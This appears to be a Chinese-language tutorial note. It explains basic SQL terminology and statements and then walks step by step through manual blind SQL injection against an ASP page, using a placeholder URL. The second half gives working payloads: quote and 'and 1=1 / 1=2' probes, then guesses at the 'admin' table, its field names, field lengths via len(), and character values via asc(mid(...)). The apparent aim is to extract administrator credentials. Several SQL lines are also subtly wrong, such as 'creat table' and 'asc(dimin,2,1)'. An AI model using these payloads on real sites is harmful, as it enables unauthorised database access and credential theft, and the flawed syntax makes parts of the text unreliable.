首先有关SQL的几个常用的术语:1.数据表(table)一般的编写者会命名为users 2.记录(data)一般为record(表示横向的一列,每个字段都取一个) 3.字段(field):一列就是,姓名字段就是所有姓名的值
接下来是数据库与网站通信的几个常用语句:
1.select * from 表名 where 字段名 = 字段值(这个语句的作用是查找)
例如:select * from users where 学号 = 2
2.update 表名 set 字段名 = 字段值 where 条件(这个语句用于更新)
例如:update users set 学号=2 where 学号=3
3.delete 数据表名 where 条件 (删除)
接下来是几个数据记录统计数(大小写无关)
avg(字段值):返回平均值
count(字段名):返回条数
max(字段名)/min(字段名)
sum(字段名)
例:select count(*) from user
返回所有的记录条数
创建表的操作:
creat table 表名 (字段1,类型1......)
删除表
drop table 表名
手工注入:
前提(准备工作):在Internet选项中去掉显示有好的http错误信息,这样可以获得具体的错误信息
示范网站:http://www.baidu.com/wnews.asp?id=157
(这个网站不存在,只是一个示范而已)
1.在157后加上',这是个不完整的语句,如果网站设置过滤了,就不会显示,如果显示正常那么步骤二
2.做后加上and 1=1(这个条件肯定满足,如果网站没有过滤,那么还是原来的)
3.最后加上and 1=2(这个条件肯定不满足,如果返回的和2不一样,则没有设置过滤,可以注入)
(注意,注入的网站要是asp格式的,不可以是html静态的网站,静态网站不可能被注入)
.手工注入首先要猜表名
and (select count (*) from admin)>0 在这里我猜的是admin为表名字,大于0是肯定成立的,如果表名猜对了则会返回正常
.之后要猜字段名:
将上面的*改为要猜的字段名比如说id
.之后猜字段长度:(我已经假设之前猜出字段名和表名为admin)
and (select top 1 len(admin) from admin)>n
符号可以使<>=,n的值要不断改变,直到猜出
.之后猜字段值
mid(admin,2,1):表示admin字段中(不是字段名)从第二个开始连续一个
asc():返回asc码的确定的值 asc(mid(admin,2,1))返回的是a的阿斯克码
用法:and (select top1 (asc(dimin,2,1)) from admin)=n(这个值要试出来)
(top 1 表示第一条)